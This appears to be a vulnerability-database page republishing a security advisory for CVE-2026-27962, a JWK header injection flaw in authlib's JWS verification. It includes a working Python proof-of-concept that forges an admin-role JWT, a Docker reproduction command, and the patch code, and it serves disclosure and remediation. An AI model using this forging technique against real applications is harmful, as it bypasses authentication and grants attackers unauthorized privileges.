GHSA-WVWJ-CVRP-7PV5

Vulnerability from github – Published: 2026-03-16 15:17 – Updated: 2026-10-27 15:22
VLAI
Summary
Authlib JWS JWK Header Injection: Signature Verification Bypass
Details

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

# DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T15:17:15Z",
    "nvd_published_at": "2026-03-16T18:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`\u0027s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid \u2014 bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 \u00a74.1.3** and the validation algorithm defined in **RFC 7515 \u00a75.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py`  \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`  \n**Lines:** 272\u2013273\n\n```python\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]   # \u2190 attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value \u2014 which is fully attacker-controlled \u2014 and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **\u00a74.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n  embedded by the token submitter cannot be trusted as a verification anchor.\n- **\u00a75.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n  context*, not from the token itself. There is no step in the RFC that permits falling back to\n  the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n    kid = header.get(\"kid\")\n    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker\u0027s embedded\nkey. The developer never wrote `key=None` \u2014 the library\u0027s fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification \u2014 signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None \u2014 token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims)  # {\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\nassert claims[\"role\"] == \"admin\"  # PASSES\n```\n\n**Expected output:**\n```\n{\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib\u0027s\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one \u2014 no exception is raised.\n\nThis is a violation of **RFC 7515 \u00a74.1.3** and **\u00a75.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** \u2014 remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n    key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** \u2014 raise explicitly when no key is resolved:\n```python\nif key is None:\n    raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```",
  "id": "GHSA-wvwj-cvrp-7pv5",
  "modified": "2026-10-27T15:22:31Z",
  "published": "2026-03-16T15:17:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27962"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19375"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24853"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48085"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5665"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7314"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-27962"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448164"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-287.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/authlib"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27962.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib JWS JWK Header Injection: Signature Verification Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.